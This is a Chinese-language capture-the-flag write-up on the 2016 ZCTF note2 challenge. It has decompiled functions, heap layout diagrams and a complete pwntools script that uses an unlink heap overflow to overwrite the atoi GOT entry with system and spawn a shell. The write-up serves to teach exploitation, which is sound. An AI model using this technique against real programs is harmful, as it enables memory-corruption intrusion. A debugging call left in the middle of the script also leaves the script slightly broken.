1. 程式人生 > >Unlink——2016 ZCTF note2解析

Unlink——2016 ZCTF note2解析

簡介

Unlink是經典的堆漏洞,2016 ZCTF note2是ctf-wiki上的unlink例子,這裡做一些簡單的解析,補充原文中沒有提到的細節,供新手學習。原文在這裡

題目描述

首先,我們先分析一下程式,在checksec中檢查檔案,發現是64位程式,然後放入IDA中,f5,,得出主程式是這樣:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 
2, 0LL); alarm(0x3Cu); puts("Input your name:"); ReadStr((char *)&name, 64LL, 10); puts("Input your address:"); ReadStr((char *)&address, 96LL, 10); while ( 1 ) { switch ( selectchoice() ) { case 1: NewNote(); break; case 2: ShowNote();
break; case 3: EditNote(); break; case 4: DeleteNote(); break; case 5: puts("Bye~"); exit(0); return; case 6: exit(0); return; default: continue; } } }
主程式

主程式是一個while迴圈,在selectchoice中輸出一個選單,然後讀取一個輸入判斷

int selectchoice()
{
  puts("1.New note\n2.Show  note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");
  return inputNum();
}
selectchoice
int inputNum()
{
  char nptr; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  ReadStr(&nptr, 16LL, 10);
  return atoi(&nptr);
}
inputNum

下面是4個主要功能,新增 note,size 限制為 0x80,size 會被記錄,note 指標會被記錄。

int NewNote()
{
  char *note; // ST08_8
  unsigned int v2; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]

  if ( (unsigned int)NoteNum > 3 )
    return puts("note lists are full");
  puts("Input the length of the note content:(less than 128)");
  size = inputNum();
  if ( size > 128 )
    return puts("Too long");
  note = (char *)malloc(size);
  puts("Input the note content:");
  ReadStr(note, size, '\n');
  RemovePercent(note);
  ptr[NoteNum] = (__int64)note;
  Len[NoteNum] = size;
  v2 = NoteNum++;
  return printf("note add success, the id is %d\n", v2);
}
NewNote

展示 note 內容。

int ShowNote()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(v0) = inputNum();
  v2 = v0;
  if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
  {
    v0 = ptr[(signed int)v0];
    if ( v0 )
      LODWORD(v0) = printf("Content is %s\n", ptr[v2]);
  }
  return v0;
}
ShowNote

編輯 note 內容,其中包括覆蓋已有的 note,在已有的 note 後面新增內容。

unsigned __int64 EditNote()
{
  char *v0; // rax
  char *v1; // rbx
  int v3; // [rsp+8h] [rbp-E8h]
  int v4; // [rsp+Ch] [rbp-E4h]
  char *src; // [rsp+10h] [rbp-E0h]
  __int64 v6; // [rsp+18h] [rbp-D8h]
  char dest; // [rsp+20h] [rbp-D0h]
  char *v8; // [rsp+A0h] [rbp-50h]
  unsigned __int64 v9; // [rsp+D8h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  if ( NoteNum )
  {
    puts("Input the id of the note:");
    v3 = inputNum();
    if ( v3 >= 0 && v3 <= 3 )
    {
      src = (char *)ptr[v3];
      v6 = Len[v3];
      if ( src )
      {
        puts("do you want to overwrite or append?[1.overwrite/2.append]");
        v4 = inputNum();
        if ( v4 == 1 || v4 == 2 )
        {
          if ( v4 == 1 )
            dest = 0;
          else
            strcpy(&dest, src);
          v0 = (char *)malloc(0xA0uLL);
          v8 = v0;
          *(_QWORD *)v0 = 'oCweNehT';
          *((_QWORD *)v0 + 1) = ':stnetn';
          printf(v8);
          ReadStr(v8 + 15, 144LL, 10);
          RemovePercent(v8 + 15);
          v1 = v8;
          v1[v6 - strlen(&dest) + 14] = 0;
          strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL);
          strcpy(src, &dest);
          free(v8);
          puts("Edit note success!");
        }
        else
        {
          puts("Error choice!");
        }
      }
      else
      {
        puts("note has been deleted");
      }
    }
  }
  else
  {
    puts("Please add a note!");
  }
  return __readfsqword(0x28u) ^ v9;
}
EditNote

釋放 note。

int DeleteNote()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(v0) = inputNum();
  v2 = v0;
  if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
  {
    v0 = ptr[(signed int)v0];
    if ( v0 )
    {
      free((void *)ptr[v2]);
      ptr[v2] = 0LL;
      Len[v2] = 0LL;
      LODWORD(v0) = puts("delete note success!");
    }
  }
  return v0;
}
DeleteNote

題目解答

仔細分析後,可以發現程式有以下幾個問題

  1. 在新增 note 時,程式會記錄 note 對應的大小,該大小會用於控制讀取 note 的內容,但是讀取的迴圈變數 i 是無符號變數,所以比較時都會轉換為無符號變數,那麼當我們輸入 size 為 0 時,glibc 根據其規定,會分配 0x20 個位元組,但是程式讀取的內容卻並不受到限制,故而會產生堆溢位。
  2. 程式在每次編輯 note 時,都會申請 0xa0 大小的記憶體,但是在 free 之後並沒有設定為 NULL。
  3. 在上述程式中有一個全域性變數ptr,用來記錄每次分配的記憶體地址,在.bss段中,地址為0x0000000000602120。

其中這三個 chunk 申請時的大小分別為 0x80,0,0x80,chunk1 雖然申請的大小為 0,但是 glibc 的要求 chunk 塊至少可以儲存 4 個必要的欄位 (prev_size,size,fd,bk),所以會分配 0x20 的空間。同時,由於無符號整數的比較問題,可以為該 note 輸入任意長的字串。

這裡需要注意的是,chunk0 中一共構造了兩個 chunk

  • chunk ptr[0],這個是為了 unlink 時修改對應的值。
  • chunk ptr[0]'s nextchunk,這個是為了使得 unlink 時的第一個檢查滿足。

利用程式碼:

# coding=UTF-8
from pwn import *

p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'


def newnote(length, content):
    p.recvuntil('option--->>')
    p.sendline('1')
    p.recvuntil('(less than 128)')
    p.sendline(str(length))
    p.recvuntil('content:')
    p.sendline(content)


def shownote(id):
    p.recvuntil('option--->>')
    p.sendline('2')
    p.recvuntil('note:')
    p.sendline(str(id))


def editnote(id, choice, s):
    p.recvuntil('option--->>')
    p.sendline('3')
    p.recvuntil('note:')
    p.sendline(str(id))
    p.recvuntil('2.append]')
    p.sendline(str(choice))
    p.sendline(s)


def deletenote(id):
    p.recvuntil('option--->>')
    p.sendline('4')
    p.recvuntil('note:')
    p.sendline(str(id))


p.recvuntil('name:')
p.sendline('hello')
p.recvuntil('address:')
p.sendline('hello')

# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(p)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18

gdb.attach(p)
p.interactive()

deletenote(2)




# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)

p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest

print 'leak system addr: ', hex(system_addr)

# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)

# get shell
p.recvuntil('option--->>')
p.sendline('/bin/sh')
p.interactive()
利用程式碼

程式碼中首先分配了三個note,當構造完三個 note 後,堆的基本構造如圖 1 所示。

                                   +-----------------+ high addr
                                   |      ...        |
                                   +-----------------+
                                   |      'b'*8      |
                ptr[2]-----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|------------
                                   |    unused       |
                                   +-----------------+
                                   |    'a'*8        |
                 ptr[1]----------> +-----------------+  chunk 1
                                   |    size=0x20    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|-------------
                                   |    unused       |
                                   +-----------------+
                                   |  prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
                                   |    64*'a'       |
                                   +-----------------+
                                   |    fakebk       |
                                   +-----------------+
                                   |    fakefd       |
                                   +-----------------+
                                   |    0x61         |  chunk 0
                                   +-----------------+
                                   |    'a *8        |
                 ptr[0]----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prev_size    |
                                   +-----------------+  low addr
                                           圖1

釋放 chunk1 - 覆蓋 chunk2 - 釋放 chunk2

對應的程式碼如下

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90) newnote(0, content) # delete note 2 to trigger the unlink # after unlink, ptr[0] = ptr - 0x18 deletenote(2) 

首先釋放 chunk1,由於該 chunk 屬於 fastbin,所以下次在申請的時候仍然會申請到該 chunk,同時由於上面所說的型別問題,我們可以讀取任意字元,所以就可以覆蓋 chunk2,覆蓋之後如圖 2 所示。

+-----------------+high addr
                                   |      ...        |
                                   +-----------------+
                                   |   '\x00'+'b'*7  |
                ptr[2]-----------> +-----------------+ chunk 2
                coverValue1        |    size=0x90    |
                                   +-----------------+
                coverValue2        |    0xa0         |
                                   +-----------------|------------
                                   |    'a'*8        |
                                   +-----------------+
                                   |    'a'*8        |
                 ptr[1]----------> +-----------------+ chunk 1
                                   |    size=0x20    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|-------------
                                   |    unused       |
                                   +-----------------+
                                   |  prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
                                   |    64*'a'       |
                                   +-----------------+
                                   |    fakebk       |
                                   +-----------------+
                                   |    fakefd       |
               fake chunk--->      +-----------------+
                                   |    0x61         |  chunk 0
                                   +-----------------+
                                   |    'a *8        |
                 ptr[0]----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prev_size    |
                                   +-----------------+  low addr
                                           圖2



和圖1相比,經歷了chuck1的分配和釋放,造成了兩個值的變更,就是圖2中的coverValue1和coverValue12,coverValue1導致chunk2的前一個虛擬地址空間連續塊由以及分配變為空閒,所以在釋放chunk2的時候,會造成合並。
而合併操作進行時,會根據coverValue2來確定前一個塊的大小,coverValue2使前一個塊變為偽造的chunk,就是圖2中fake chunk處,fakefd和fakebk則是偽造的,必須保證unlink的檢測條件,fakefd = ptr - 0x18,fakebk = ptr - 0x10
圖2中的fake ptr[0] chunk's nextchunk是根據fake chunk的size來確定的,也就是0x60,第二個條件要繞過去就需要構造第二個chunk,在fake chunk位置0x60之後的位置放置一個pre_size為0x60的chunk
在unlink之後,ptr被修改為ptr-0x18,注意,ptr的值就是在檢視原始碼時發現的,存放第一個note的位置,在向note寫入3個位元組後,ptr的值又會被覆蓋一次,所以可以使用一個像note的寫入操作達到控制ptr為任意值。然後利用note的寫操作更改GOT
在選擇覆蓋函式的GOT時,選擇atoi,因為在switch語句之前會讀入一個選擇,用到atoi函式,並且程式沒有用到system函式,所以必須計算兩個函式的偏移才能得出system的libc庫位置,最後覆蓋也選用這個函式